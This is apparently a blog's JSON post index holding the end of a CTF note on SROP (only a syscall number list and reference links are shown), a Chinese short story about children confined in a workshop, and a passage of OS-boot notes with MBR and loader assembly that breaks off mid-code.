143#define __NR_sched_setscheduler 144#define __NR_sched_getscheduler 145#define __NR_sched_get_priority_max 146#define __NR_sched_get_priority_min 147#define __NR_sched_rr_get_interval 148#define __NR_mlock 149#define __NR_munlock 150#define __NR_mlockall 151#define __NR_munlockall 152#define __NR_vhangup 153#define __NR_modify_ldt 154#define __NR_pivot_root 155#define __NR__sysctl 156#define __NR_prctl 157#define __NR_arch_prctl 158#define __NR_adjtimex 159#define __NR_setrlimit 160#define __NR_chroot 161#define __NR_sync 162#define __NR_acct 163#define __NR_settimeofday 164#define __NR_mount 165#define __NR_umount2 166#define __NR_swapon 167#define __NR_swapoff 168#define __NR_reboot 169#define __NR_sethostname 170#define __NR_setdomainname 171#define __NR_iopl 172#define __NR_ioperm 173#define __NR_create_module 174#define __NR_init_module 175#define __NR_delete_module 176#define __NR_get_kernel_syms 177#define __NR_query_module 178#define __NR_quotactl 179#define __NR_nfsservctl 180#define __NR_getpmsg 181#define __NR_putpmsg 182#define __NR_afs_syscall 183#define __NR_tuxcall 184#define __NR_security 185#define __NR_gettid 186#define __NR_readahead 187#define __NR_setxattr 188#define __NR_lsetxattr 189#define __NR_fsetxattr 190#define __NR_getxattr 191#define __NR_lgetxattr 192#define __NR_fgetxattr 193#define __NR_listxattr 194#define __NR_llistxattr 195#define __NR_flistxattr 196#define __NR_removexattr 197#define __NR_lremovexattr 198#define __NR_fremovexattr 199#define __NR_tkill 200#define __NR_time 201#define __NR_futex 202#define __NR_sched_setaffinity 203#define __NR_sched_getaffinity 204#define __NR_set_thread_area 205#define __NR_io_setup 206#define __NR_io_destroy 207#define __NR_io_getevents 208#define __NR_io_submit 209#define __NR_io_cancel 210#define __NR_get_thread_area 211#define __NR_lookup_dcookie 212#define __NR_epoll_create 213#define __NR_epoll_ctl_old 214#define __NR_epoll_wait_old 215#define __NR_remap_file_pages 216#define __NR_getdents64 217#define __NR_set_tid_address 218#define __NR_restart_syscall 219#define __NR_semtimedop 220#define __NR_fadvise64 221#define __NR_timer_create 222#define __NR_timer_settime 223#define __NR_timer_gettime 224#define __NR_timer_getoverrun 225#define __NR_timer_delete 226#define __NR_clock_settime 227#define __NR_clock_gettime 228#define __NR_clock_getres 229#define __NR_clock_nanosleep 230#define __NR_exit_group 231#define __NR_epoll_wait 232#define __NR_epoll_ctl 233#define __NR_tgkill 234#define __NR_utimes 235#define __NR_vserver 236#define __NR_mbind 237#define __NR_set_mempolicy 238#define __NR_get_mempolicy 239#define __NR_mq_open 240#define __NR_mq_unlink 241#define __NR_mq_timedsend 242#define __NR_mq_timedreceive 243#define __NR_mq_notify 244#define __NR_mq_getsetattr 245#define __NR_kexec_load 246#define __NR_waitid 247#define __NR_add_key 248#define __NR_request_key 249#define __NR_keyctl 250#define __NR_ioprio_set 251#define __NR_ioprio_get 252#define __NR_inotify_init 253#define __NR_inotify_add_watch 254#define __NR_inotify_rm_watch 255#define __NR_migrate_pages 256#define __NR_openat 257#define __NR_mkdirat 258#define __NR_mknodat 259#define __NR_fchownat 260#define __NR_futimesat 261#define __NR_newfstatat 262#define __NR_unlinkat 263#define __NR_renameat 264#define __NR_linkat 265#define __NR_symlinkat 266#define __NR_readlinkat 267#define __NR_fchmodat 268#define __NR_faccessat 269#define __NR_pselect6 270#define __NR_ppoll 271#define __NR_unshare 272#define __NR_set_robust_list 273#define __NR_get_robust_list 274#define __NR_splice 275#define __NR_tee 276#define __NR_sync_file_range 277#define __NR_vmsplice 278#define __NR_move_pages 279#define __NR_utimensat 280#define __NR_epoll_pwait 281#define __NR_signalfd 282#define __NR_timerfd_create 283#define __NR_eventfd 284#define __NR_fallocate 285#define __NR_timerfd_settime 286#define __NR_timerfd_gettime 287#define __NR_accept4 288#define __NR_signalfd4 289#define __NR_eventfd2 290#define __NR_epoll_create1 291#define __NR_dup3 292#define __NR_pipe2 293#define __NR_inotify_init1 294#define __NR_preadv 295#define __NR_pwritev 296#define __NR_rt_tgsigqueueinfo 297#define __NR_perf_event_open 298#define __NR_recvmmsg 299#define __NR_fanotify_init 300#define __NR_fanotify_mark 301#define __NR_prlimit64 302#define __NR_name_to_handle_at 303#define __NR_open_by_handle_at 304#define __NR_clock_adjtime 305#define __NR_syncfs 306#define __NR_sendmmsg 307#define __NR_setns 308#define __NR_getcpu 309#define __NR_process_vm_readv 310#define __NR_process_vm_writev 311#define __NR_kcmp 312#define __NR_finit_module 313#define __NR_sched_setattr 314#define __NR_sched_getattr 315#define __NR_renameat2 316#define __NR_seccomp 317#define __NR_getrandom 318#define __NR_memfd_create 319#define __NR_kexec_file_load 320#define __NR_bpf 321#define __NR_execveat 322#define __NR_userfaultfd 323#define __NR_membarrier 324#define __NR_mlock2 325#define __NR_copy_file_range 326#define __NR_preadv2 327#define __NR_pwritev2 328#endif /* _ASM_X86_UNISTD_64_H */\n\n\n参考文章:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/#_1 ​\nhttps://www.jianshu.com/p/09b4aed52e0d\nhttps://www.jianshu.com/p/74aa44767a4b\n插画ID:91506229\n","categories":["CTF题记","Note"],"tags":["CTF","ROP","SROP"]},{"title":"通感症Synaesthesia","url":"/2021/02/07/synaesthesia/","content":"X001\n 当我从战场上归来的时候,躯壳几乎难以容纳灵魂。浑身上下,除却头部以外净是血洞,鲜血止不住地向外涌出,聊胜于无的绷带试图留住它们,也不过是毫无意义的徒劳。\n 我艰难地向着故乡的方向走去,但双腿却无论如何也迈不出去。刚抬起来,又落下去,拄着拐杖的手也颤抖不止,鲜血顺着手臂从拐杖上滑落,将它染成了残阳的颜色。就连猩红与赤红都难以区分的我,坚持这种神志不清地逃亡又能持续到何时呢?\n 脚边偶尔传来的阵沙沙声让我越发的烦躁,可我就连低头的力气都没有了。我担心自己一旦低下了头,就再也抬不起来了。身体轻盈如纸,感知却沉重如山,我略感欣喜,却愤怒不已。也许我会因身体前所未有的轻盈而喜,又可能会为此刻的寸步难行而怒。就连精神都被着残阳炙烤到歪曲,我想,我也许只能到此为止了。\n 我跪倒在地,手边的拐杖失去倚靠,缓缓倒下。我无力地低下了头,分不清炙热与冰冷,辨不出火山与极地,感官失去知觉,就连灵魂都无法扼住。即使拼命克制想要躺下的疲乏,不惜一切代价地想要重新站起,但躯壳却不听使唤。\n 「站起来!你给我站起来啊!」\n 任凭我如何吼叫,它也没有任何回应。\n 泪水从瞳中泄出,但很快就被染成了猩红,以至于我把它当成了自己的血液。\n 「为什么……为什么不肯不肯站起来啊……我就这么…….这么不受待见吗……明明……我才是主人……明明……我才是…….」\n 「你给我站起来啊!」\n 我猛地砸向大腿,可收回的却只有微弱的触觉,已连痛觉都模糊不清了。但事实是否真是如此,我无法确认。光是支起手臂,将它拖过大腿,就已经连静止的力气也没有了。\n 「连你也要违抗我吗……就连你也要背叛我吗!」\n 「别这样…别这样!我已经不剩什么了!别再离开我了,别再离开我了!」\n 即便我发了疯似的呐喊,喊到失声喑哑,喊到筋疲力竭,也没能再次站起。只能任凭风沙灌入口腔,涌进胸腔,让我就连呼吸也不被允许。\n 我无力的跪倒在地。身前站着的男人用轻蔑的眼光注视着我面前的蜥蜴,而对我,就连一寸余光,也不肯施舍给我。\n 「你还想要怎样……事到如今,你还没满足吗!」\n 他没有回答。如今的他已经是个口不能言的可怜虫了。哪怕我沦落到这般境地,也改不掉这蔑视别人的坏习惯。\n 他一脚踹向无力反抗的我,脑袋连着身子飞出了不知道多远才停下。我险些昏迷,甚至有一瞬也许不再清醒。\n 我想要爬起来,他却一脚踩在了我的头上,将我碾倒在地。\n 「从今往后,你将不复存在。」\n 他用那沙哑的声音勉强拼凑出了一句话。这是我自认识他以来听到的第三句话。\n 「你…什么意……」\n 还不等我说完,我的烛火就被他掐灭了,剩下一堆残渣兀自飞散了。\nX002\n 「你是谁?」\n 「从今天起,我就是你的主人了。」\n 我本以为,他不过是在和我开玩笑而已。可让我想不到的是,下一秒,我就被他扣上了镣铐。\n 他禁止了我一切的自由行为,只允许我按照他的要求办事。在他的收容所里,有很多和我一样的孩子,他们身上都戴有特制的镣铐,每个镣铐上都有不一样的标志,有的是笑脸,有的是水滴,甚至还有扑克牌和象棋,而我的脚镣上刻着的是一把精致的钥匙。\n 「这次你做的不错。说把,想要什么奖励?」\n 在一次工作结束之后,我被他叫到了礼堂。他似乎喜出望外,但我却不觉得他是因为任务达成而欣喜。至今为止,也有不少孩子同样达成了任务,而且,比我更加优秀的人也不在少数,可我却从没见他褒奖过其他的孩子。\n 「我没有什么特别想要的东西。」\n 我本想回绝这次馈赠,但毕竟是少有的褒奖,若是拒绝掉,以后难免会后悔。于是我沉思了一会,还是选择说出自己的愿望。\n 「可以的话,我想到外面看看。」\n 在暗无天日的工房里工作便是我们的日常。这里不存在书上记载的一切。既没有高山大海,也没有飞禽走兽,只有铁索相互敲击的声音和孩子们做噩梦时的呓语。平日里,就连说话都不被允许的我们,从来没有见过外面的世界。\n 当他听过我的请求之后,什么都没说,就这样径直走出了礼堂。我能够听见从大门的方向传来的一声巨响,却无法理解他究竟对什么感到了不满。\n 某一日工作结束之后,我拖着疲惫的身体在返回宿舍的途中,无意间看见了他带着一个刻有“契约”标志的孩子离开工房。标志本身已经被抹掉了,但我和大家相处了这么长的时间,每个人的标记都已经牢牢地记在心里了。\n 他牵着她的手慢慢走向工房的大门,脸上不时泛起微笑。他们走的很慢,途中似乎聊了许多。那个孩子无疑是快乐的,她和我一样都是憧憬着外面的世界的孩子,此刻能被允许离开,或许是完成了什么非常重要的任务,所以得到了资格吧。尽管我很羡慕她,但也为自己的好友能够离开感到高兴。\n “哐当!”\n 工房的大门缓缓上升,他牵着她的手缓步通过冰冷的闸门。我想要凑近一些,想要窥得一丝一毫的光景,但我再次失望了。\n 外面的世界一片漆黑。宛如深邃不可见底的深海,同永劫不复存在的深渊一般,仅存在着难以言明的漆黑与寂静。\n 我本以为这不过是夜幕遮蔽了阳光,却没想就连星与月也消失不见。既没有晚鸦嘶号,也难闻夜莺笙歌。这样的世界,究竟有着什么东西值得我再去期待?\n 可我却不想让这座工房成为我的墓地。我不希望自己的坟场,被守墓人时刻把守。\nX003\n 一个刻着钥匙标记的孩子坐在长椅上休息,手里似乎捧着一本画册。\n 「你在看什么呢?」\n 我从笔记本上撕下一页,歪歪扭扭地勉强将符号串成了一句话。\n 「《边界》」\n 纸上多出来的只有四个符号。\n 「能借我看看吗?」\n 我不依不饶的继续尝试和他建立沟通。但在看了这串字符之后,他马上合上画册,并把画册死死地抱在怀里,眼里闪烁着不安与惊惧。\n 「没事啦,我又不会抢你的东西,只是想看看你的画册而已啦。」\n 他狐疑地盯着我,在判断我真的不会夺走他的画册之后,才不情愿地递出了画册。当他递过来的时候,手还微微的颤抖着,真不知道他到底是有多害怕我。\n 「谢谢!」\n 我在他身旁坐下,打开画册开始翻阅。他就坐在我旁边和我一起默默地看着画,一言不发,似乎就连他的呼吸都有所减缓。看来他是成为了这本画册虔诚的信徒了呢。\n 我合上画册,闭上眼睛回想画册上的风景。真的就像他说的一样,这种风景只需要看一次就足够了。倘若不放过一丝细节,恐怕这些裂痕就会让至今为止构筑起来的世界分崩离析吧。而若是让它们在记忆里逐渐发酵,那么它们将成为此生绝对无法寻见的绝景。\n 「你都看了这么多遍了,不会腻吗?」\n 我重新撕下了一页,将已经画满的废纸丢进了纸篓。\n 「其实只看过两遍而已。之后再打开画册的时候,已经不会再看到画了,眼睛擅自就把它们变成了普通的色块拼图了。」\n 我感到不可思议,即便我反复观览画册,也没办法把这些美景当成色块对待。\n 「那你最喜欢哪一幅画?」\n 「都挺喜欢的。但最喜欢的果然还是这一幅。」他打开画册,将那幅画他认为最美的画展示给我看。\n 画上画着的,是高耸入云的围墙、一望无际的原野、深邃旷远的蓝天和几只掠过天际的青鸟。确实不失为一片美景,但我却并不是那么喜欢它。\n 「那要是以后有机会,我们一起出去看看吧?外面一定也和这上面画着的一样,甚至要比它更美也说不定呢!」\n 「真的?你可别骗我!」\n 「如果有机会的话。」\n 一时心血来潮缔结了契约,但我恐怕没有实现他的愿望的能力。可看着他眼里的期待,实在不太忍心将谎言揭穿,于是我选择了缄默,再也不提及这桩虚愿。只是这份期待却真的刻进了他的心里。\n 一天,我从工房回来的时候,发现了躲藏在柱子后面的他。我没有立刻揭发他,而是悄悄地跟着他一路来到了工房的大门前。\n 他鬼鬼祟祟地似乎在门前捣鼓着什么。手上拿着一根铁丝,手边还放着一个工具箱。他时不时用螺丝刀旋旋,偶尔又用扳手转转,甚至将铁丝插进钥匙孔里,模仿着小说里的盗贼撬锁一样。\n 「难不成他真的以为自己能像小说里的盗贼一样撬开这扇闸门吗?」\n “啪嗒…啪嗒…”\n 从身后传来了断断续续的脚步声。我连忙上前阻止了他的妄想,将他拖到了柱子后面。\n 「你干什么!放开我!」\n 「嘘——有人来了。」\n 他马上停下了挣扎,用手捂着嘴缓缓俯下了身。\n 「咦?我听错了吗?明明听见了有谁在说话呢……」\n 「大概是听错了吧,这里平日里甚至连接近都不被允许呢。听说上次有人只不过是看了门一眼,就被主人带走了呢。」\n 「这么恐怖!看一眼也不行吗?快走吧快走吧,没事还是别来这里了。」\n 这座工房仅有的两个保安很快就离开了,似乎就连他们也畏惧着这扇铁门。\n 「你想死啊!没事来这里干嘛!」\n 我质问他。但他的回答却让我哑口无言。\n 「我就是想看看外面嘛……」\n 他低着头,强忍着眼泪不让它们落下,手里死死的攥着刚才用来撬锁的铁丝。也许,他真的很想出去吧。和我不同,和这样一个只要自己的朋友和自己都能够平安无事就已经很满足了的自私家伙,完全不同。\nX004\n 我的生活并没有因为她的离开而产生些许变化。一成不变的日常仍然如期而至,咬合的齿轮没有丝毫偏转的迹象。但自此之后,我再没有交过朋友了。\n 她不像我那样懦弱,不论对象是谁,她都愿意与之交往。但我做不到像她那样出色。光是与人交流便要竭尽全力,不论是写出的字还是想要传达的意思,都粗糙不堪,刚呈出去,就已经忍不住这双因羞愧而想要缩回来的手。她是第一个愿意和这样的我做朋友的人,也是最后一个成为了我的朋友的人。\n 从今往后,我再没有过新朋友。这句话就像契约一样,深深地刻入我的灵魂。\n 这样的孤独生活持续了整整十年。十年间,我一句话都没有说过,一个字符也不曾写过。我沦为了一只口不能言的人形机械,除却那本画册以外,我不再拥有过任何东西。\n 最近几天,工房的主人不见了踪影。我去他的办公室里找过他了,但除了堆积在办公桌上的文件以外,什么也没找到。\n 我试着翻阅那堆文件,但上面写着的净是些我从来没有见过的符号。在这堆积如山的文件里,我竟然找不到一份自己能够看懂的文件。\n 我把这些文件偷偷带出了办公室。来来回回跑了将近二十趟才将它们全都堆到了那根曾经用于躲藏的柱子底下。\n 我划燃一根火柴,将这些文件尽数点燃。又借来了数本画册,把它们叠成扇子,将灰烬送向了整个工房。\n 一时间,满天飘散着灰白色的余烬,在这个密不透风的工房里掀起了恐慌与混乱的浪潮。\n 他们的心都太过脆弱了,以至于就连一丝变化也无法接受。所有人仍然继续着工作,但没有人还能够忠于职守。大家都畏惧着这些灰烬,把灰烬当成了他们的主人。任谁也不敢抬头看一眼,生怕自己将会沦为饵食。\n 他已经消失了将近一周的时间了,工房里谁也没有看见过他的身影。于是这种恐慌也持续了一周,工房里谁也没有想过要去一探究竟。所有人的神经全都绷紧着,紧绷到稍有不慎就会引发暴乱的程度。\n 于是我又从他的办公室里偷来了铃铛和绳索,砸碎了玻璃又顺走了剪刀。\n 每天夜里,我都站在宿舍的走廊上用剪刀用力的在玻璃上划出字符,将铃铛系在手上,一有动作便发出声响。尽管嘈杂的声音让所有人都难以安眠,可谁也没有出来过,谁也不敢打开房门认清楚罪魁祸首。\nX005\n 我的处分终是下来了。尽管在那次事件以后,我没日没夜的工作,拼了命想要弥补自己犯下的错误,终还是逃不过被处理掉的命运啊。\n 翻看完对我的处分文件,强行压下想要据理力争的心情,我开始为自己准备后事了。\n 既然已经不再需要工作了,这些文件便没有审批的必要了;抽屉里的识别卡和工作牌也没有销毁的必要;医药箱里的镇定剂和麻醉药就留给下一任也没关系,因为我不怎么爱用那些;玻璃展柜里的红酒至今也舍不得喝,想不到居然已经没有机会品尝了;垫桌角用的书一直都没有读过,本想着读一本换一本的,想不到以后就要交给其他人来做了;我的镣铐也……\n 当我从杂物箱里翻出了自己的镣铐时,身体却突然不听使唤的卡在了原地。镣铐刻着的,是一簇由寒冰雕刻而成的冰花。望着这蔟永不凋零的冰花,我不再慌乱。重新将它扣在了自己的手臂上,我开始收拾行装。\n 红酒就由我带走吧,果然我还是舍不得它;大门的钥匙也有必要带走,以后或许还派得上用场;镇定剂和麻醉剂什么的果然还是没必要,就当送给下一任吧;这些文件依旧很是烦人,全都丢给下一任就行了吧?\n 当我收拾好行李之后,趁着天还没完全黑,我偷偷从工房里逃走了。\n 穿过冰冷的闸门,望见的是落日的余晖洒在贫瘠的土地上,沙土的余温炙烤着每一寸荒凉。曾经的这里也曾是鸟语花香的伊甸园,但现在已经什么都不剩了。上一次驱逐某个孩子的时候,这里还有过一点点干枯的草根,现在却已经什么都没有剩下了。\n 尽管落到如今这份田地全是自己亲手造成的后果,但我总归是没有选择的余地。谁会和带着项圈的家畜过不去呢?\nX006\n 看来是控制成功了,最近的他对我的命令不再抵抗了。他今天也非常完美的按照指示结束了工作,于是我打算试探一下他的想法。\n 「这次你做的不错,说把,想要什么奖励?」\n 可那种结果却不过是我的一厢情愿罢了,他并没有受我控制,也不是在听命于我,他甚至不觉得这些东西是理所当然的。在听到了他的回答之后,我难以抑制自己的愤怒,无视了他的请求就这样径直离开,还不时将愤怒发泄在身边的事物上。\n 冷静下来之后,我开始思考起了该如何才能控制他。可这又谈何容易呢?在这样的一座工房里,只有他总是偏离我的设想,以至于我不得不为了他一人彻夜冥思苦想。\n 最近,我第一次看见了他与外人交流。和他交流的是那个镣铐上标有契约图案的女孩。我仿佛窥见了一缕曙光。和别人建立羁绊,也就等于给自己套上枷锁。尽管规则上的枷锁不管有多少都没有将他栓住,但感情上的枷锁却让我看到了一丝转机。\n 我试着散布谣言,让他在认知上将“不能接近大门”这件事视作常识。也通过影响他周遭的人们,让这种想法成为普遍的认知。同时,我设置了戒令,即使我根本就没有设置戒令的权限,以至于让它成了个徒有虚名的空壳,但只要它切实存在,也就有着足够的威慑力了。\n 我没有下达指令的权限,最多只能拟订计划罢了。若非上面的人迟迟不肯批给我权限,我又怎需要如此煞费苦心呢?即便我一次次向上头申请,他们给我的回应也总是“请拿出与之相称的能力后再来申请”。没有权限要我怎么做出成绩?处处受限的感觉也不是第一次了,但这种无力感却还是头一次。即便自己有着堪称完美的计划,也要苦于无处可施。我迫切的想要做出实绩,以至于让我在某一瞬丧失了理智。这个绝不能犯的失误,宛如滑稽的演出一般,它既缺乏上演的理由,也没有合理的逻辑,总之,我失控了。\n 我企图将她逐出工房,以此来抑制他的探求欲望。我相信,只要他认识到探求外界会为他带来怎样的后果,他很快就会知难而退。\n 于是我刻意当着他的面,在他将要回宿舍的路上,刻意将这一幕展示给他看。\n 我拽着她的锁链,将她拖向大门。任凭她如何哀嚎与求饶,缠绕着的锁链仍然将她拽向深渊。她趴在地上,指甲死死的扣在地里,但身后的锁链却毫不留情的将她拖拽,在沿途留下了一根根鲜红的引线。\n 哭嚎声回荡在空无一人的回廊里,伴着锁链相互敲击的声音渐行渐远。他悄悄地在不远处注视着我,我以为他终于是开了窍,用余光瞄去,他的眼里,只有期待……\n 我难以置信,本来没****想要真的将她放逐地狱,却被这样的结果刺激了神经,狠下心来,我缓缓打开了闸门。\n 后悔已经来不及了。才到我放逐她的第二天,我便深感后悔。\n 我本就没有将这里的孩子驱逐出界的权限,本想着若是能够做出成绩,这种程度的越线也是能够被默许的。当初刚接任这里的时候,我就被告知了他是这座工房最重要的保护对象之一,无论如何都要控制住他。而那个“契约”,在程度上要比他低一级,因此我才敢放手一搏。回想起直到最后他眼里仍然充满了羡慕与憧憬的样子,我便难以忍受自己的愚蠢。尽管第二天一早我就出去寻找她了,可这片荒原终是将她吞噬的一干二净。如今,我千方百计想要隐瞒这件事,但终究还是难逃一劫。\nX007\n 因为已经没有上工的必要了,于是我在工房里闲逛。只要绕过了那两个顽固不化的守卫,就没有人会对我的行径说三道四了。\n 我无论如何也不想错过这次机会,趁着他不在的这段时间里,尽可能的搜索一下工房,以便将来的逃脱。\n 我最先检查的就是他的办公室了,尽管已经去过很多次,但唯独那个打不开的抽屉最让我在意。\n 其次是配电房,里面并没有什么特别的。\n 还有就是他的卧室了。类似于备用钥匙之类的东西,能够藏匿的地方都比较有限。并不是说它只能藏在那些地方,而是因为他们大多只会被藏在那些地方。\n 我试着翻箱倒柜,将视线之内的一切全都掀翻,但最后也没能找到什么用得上的东西。于是我从他的衣柜里拆出了一根铁棍。\n 我将那根铁棍的前段用床压平,就这样将它插进了那个打不开的抽屉。猛的一撬,整个抽屉都被我撬开了。里面赫然摆放着一把钥匙。\n 之后,我还搜索了大大小小各种各样的地方,但全都一无所获。\n 我以为那就是大门的钥匙了。自作聪明的将他插进了钥匙孔,可无论我怎样试图将它转动,它也仍是纹丝不动。\n 被失望充盈的我继续徘徊在这座工房里。尽管本就不抱多少期待,但好不容易找到了钥匙却发现它根本无法使用,多少会觉得惋惜。\n 但我还是离开了工房。谁能想得到,我梦寐以求的钥匙的原型竟一直刻在我的镣铐上。\n 我试图将他临摹下来,照着它的模样用铁丝与纸板有模有样的仿出了一把钥匙。就连我都感到不可思议,因为过程实在太过顺利了,顺利的甚至让人怀疑。谁能想得到,牢笼的钥匙会被刻在自己的镣铐上。\n 总之,我出去了,进到了自己梦寐以求的世界。\n 放眼望去,工房外是一片无边无际的沙漠。和我印象中的世界有些许不同,和画册里的世界有一点偏差,但总归是我从未见过的世界。\n 于是,我怀着兴奋与不安的心情,向着太阳下落的方向走去。\nX008\n 乌云从远方飘来,带着水汽和雷霆向我奔来。我在沙漠里行进了不知多少时日,饥渴难耐的我无比渴望着一场及时雨能够救下我濒死的性命。可当我望见那片雷云的时候,抛却了一切希冀,只剩下恐惧挥之不去了。\n 「果然我的罪恶是难以得到宽恕的吗?」\n 我不禁自问,伫立在原地不再逃亡。\n 但我很快就又开始鼠窜了。倾落而下的雨滴宛如钢针般锋锐,它们刺透我的躯壳,在我的身体上留下了密密麻麻的血洞。我抱头鼠窜,但在这片广阔的沙漠中是找不到任何一处避风港的。\n 起初不过是针线罢了。渐渐的,雨越来越大了。他们就像箭矢一样刺穿了我的盔甲,却又不会像箭矢一样残留在血肉当中。数不尽的冷光从天而坠,刺入血肉当中再溶解一摊血水。\n 伤口像是被泡在了水中逐渐糜烂一般,疼痛难忍却又难以愈合。带出来的绷带完全派不上用场,血水根本就止不住,不停地向外喷涌。\n 伤痛实在太过残忍了。当我回过神来,浑身上下密密麻麻的全是暗红色的血洞。挣扎着爬起,已经是我唯一能做的事了。\n 在生命的最后一刻,我想要再看一眼我的工房。我深知自己不过是个自以为是的小丑,为了权力与束缚彻夜演出,最后换得个伤痕累累的下场,或许就是我最后的归宿了。\n 「但至少,至少再让我看一眼!即便我一无是处,成为了随处可见的尘土,至少再让我看一眼,再让我看一眼我曾经向往过的世界吧!即便我罪孽深重,即使我一无是处,也请让我再看一眼就好,再看一眼就好了!这是我最后的请求了,求求你,求求你放过我吧!」\n 雨停了,似是回应我的请求一般,它真的离开了。我以为自己真的得到了原谅,真的有机会再看一眼那座伊甸了,可我终是挪不动自己的躯壳了。他甚至比我的遗愿还要沉重,迫使我无法起身。\n 好不容易柱起了拐杖,勉强支起了即将燃尽的灵魂。我艰难地向着故乡的方向走去,但双腿却无论如何也迈不出去。刚抬起来,又落下去,拄着拐杖的手也颤抖不止,鲜血顺着手臂从拐杖上滑落,将它染成了残阳的颜色。\nX009\n 此刻,我站在他的面前,望着他跪伏的样子,心生怜悯。他凄惨无比的样子十分可怜,浑身上下没有一处安好的地方,手臂上的镣铐被鲜血浸没,在夕阳下泛起微光,脸上的血痂结了一层又一层。\n 我站在原地,低着头俯视着这副惨状。他似乎察觉到了我的视线,勉强抬起头怒视着无辜的我。我一时间不知该作何反应。\n 「你还想要怎样……事到如今,你还没满足吗!」\n 突如其来的怒斥更是让我不知所措,我想我应该没有做过什么遭人记恨的事情,至少,对方是毫不知情的才对。\n 他想要重新支起身子,但羸弱的身体已经不堪重负了。我想要扶他起来,可刚一接近,他就想甩开了我的手。可他实在太虚弱了,光是抬起手臂就已经不剩任何余力了,更何况甩开我的手。才刚碰到我的手,自己就先因脱力而倒下了。\n 我看见他的右臂上带着一副镣铐,上面刻着的是一束冰花。\n 「或许那把钥匙就是用来开这把锁的吧?」\n 我拿出钥匙,将他手臂上的枷锁解下。他似乎想要挣扎,但已经没办法做出反应了,只能用沙哑的声音不停的呢喃着什么话语。\n 「放…放……我…求..你….放……..我……」\n 他已经连话都说不清了,但我隐约觉得他是在央求我解下他的枷锁。\n 当那副刻有冰花的枷锁从他的手臂上卸下,他如释重负,仿佛对此世间再无眷恋,似是安详的闭上了眼,一滴血泪从眼角滑落。\n 我打算离开了,再不要留在这里同他一起风化。为了方便起见,我将那副镣铐戴在了自己的左臂上。不带半点怜悯,没有丝毫犹豫,径直离开了沙漠。不被挽留,不假思索,我回到了那座工房,我回到了故土。我的愿望破灭了,我的愿望实现了。\nX000\n 你可以尽情地嘲笑我,我很清楚自己的分量。我既是那片伊甸的创造者,亦是那里的神。可只有我没能得到它的入场券,只有我不被允许逃进那片伊甸,没有人会为我指路,亦无人肯为我立墓。\n","categories":["Story"],"tags":["故事","短篇"]},{"title":"《操作系统真象还原》chapter1-5笔记与总结","url":"/2022/01/13/systemkernel-chapter1-5/","content":"\n引题:操作系统是如何被启动的?主板接电以后,内嵌在主板上的ROM中的BIOS会将 0盘0道1扇区 中的MBR(Main Boot Record)读取到内存中一个固定的位置,然后自动跳转到该位置(0x7c00),之后由MBR取代BIOS接管系统。此时,系统处于“实模式”,此时只能使用寄存器的低16位。\n但MBR最大只能有一个扇区(512字节),可做的事情极其有限,因此MBR只从硬盘读取Loader到内存(读取位置也是约定好的),同时再跳转到Loader,由其取代MBR接管系统。\n(至于读到哪里,实际上无所谓,只要最开始做好约定,让其能够跳转达到即可)\nLoader则能够做到所有初始化工作。进入保护模式、加载内核、启动分页等工作。\nMBR主引导记录:\n; 主引导程序;-----------------------------------------------%include "boot.inc"SECTION MBR vstart=0x7c00;起始于0x7c00;如下为初始段寄存器,cs在加载时会被置为代码段地址;0xb800对应了显存,对该内存写就相当于将内容打印在显示屏上 mov ax, cs mov ds, ax mov es, ax mov ss, ax mov fs, ax mov sp, 0x7c00 mov ax, 0xb800 mov gs, ax; 清屏;--------------------------------------------------- mov ax, 0600h mov bx, 0700h mov cx, 0 mov dx, 184fh int 10h ; 显示"1 MBR" mov byte [gs:0x00], '1' mov byte [gs:0x01], 0xA4 mov byte [gs:0x02], ' ' mov byte [gs:0x03], 0xA4 mov byte [gs:0x04], 'M' mov byte [gs:0x05], 0xA4 mov byte [gs:0x06], 'B' mov byte [gs:0x07], 0xA4 mov byte [gs:0x08], 'A' mov byte [gs:0x09], 0xA4 mov eax, LOADER_START_SECTOR mov bx, LOADER_BASE_ADDR ; 读取4个扇区 mov cx, 4 call rd_disk_m_16 ; 直接跳到loader的起始代码执行 jmp LOADER_BASE_ADDR + 0x300;-----------------------------------------------------------; 读取磁盘的n个扇区,用于加载loader; eax保存从硬盘读取到的数据的保存地址,ebx为起始扇区,cx为读取的扇区数rd_disk_m_16:;----------------------------------------------------------- mov esi, eax mov di, cx mov dx, 0x1f2 mov al, cl out dx, al mov eax, esi mov dx, 0x1f3 out dx, al mov cl, 8 shr eax, cl mov dx, 0x1f4 out dx, al shr eax, cl mov dx, 0x1f5 out dx, al shr eax, cl and al, 0x0f or al, 0xe0 mov dx, 0x1f6 out dx, al mov dx, 0x1f7 mov al, 0x20 out dx, al.not_ready: nop in al, dx and al, 0x88 cmp al, 0x08 jnz .not_ready mov ax, di mov dx, 256 mul dx mov cx, ax mov dx, 0x1f0.go_on_read: in ax, dx mov [bx], ax add bx, 2 loop .go_on_read ret times 510-($-$$) db 0 db 0x55, 0xaa\n\nLoader:\n%include "boot.inc"section loader vstart=LOADER_BASE_ADDRLOADER_STACK_TOP equ LOADER_BASE_ADDR; 这里其实就是GDT的起始地址,第一个描述符为空GDT_BASE: dd 0x00000000 dd 0x00000000; 代码段描述符,一个dd为4字节,段描述符为8字节,上面为低4字节CODE_DESC: dd 0x0000FFFF dd DESC_CODE_HIGH4; 栈段描述符,和数据段共用DATA_STACK_DESC: dd 0x0000FFFF dd DESC_DATA_HIGH4; 显卡段,非平坦VIDEO_DESC: dd 0x80000007 dd DESC_VIDEO_HIGH4GDT_SIZE equ $ - GDT_BASEGDT_LIMIT equ GDT_SIZE - 1times 120 dd 0SELECTOR_CODE equ (0x0001 << 3) + TI_GDT + RPL0SELECTOR_DATA equ (0x0002 << 3) + TI_GDT + RPL0SELECTOR_VIDEO equ (0x0003 << 3) + TI_GDT + RPL0; 内存大小,单位字节,此处的内存地址是0xb00total_memory_bytes dd 0gdt_ptr dw GDT_LIMIT dd GDT_BASEards_buf times 244 db 0ards_nr dw 0loader_start: xor ebx, ebx mov edx, 0x534d4150 mov di, ards_buf.e820_mem_get_loop: mov eax, 0x0000e820 mov ecx, 20 int 0x15 jc .e820_mem_get_failed add di, cx inc word [ards_nr] cmp ebx, 0 jnz .e820_mem_get_loop mov cx, [ards_nr] mov ebx, ards_buf xor edx, edx.find_max_mem_area: mov eax, [ebx] add eax, [ebx + 8] add ebx, 20 cmp edx, eax jge .next_ards mov edx, eax.next_ards: loop .find_max_mem_area jmp .mem_get_ok.e820_mem_get_failed: mov byte [gs:0], 'f' mov byte [gs:2], 'a' mov byte [gs:4], 'i' mov byte [gs:6], 'l' mov byte [gs:8], 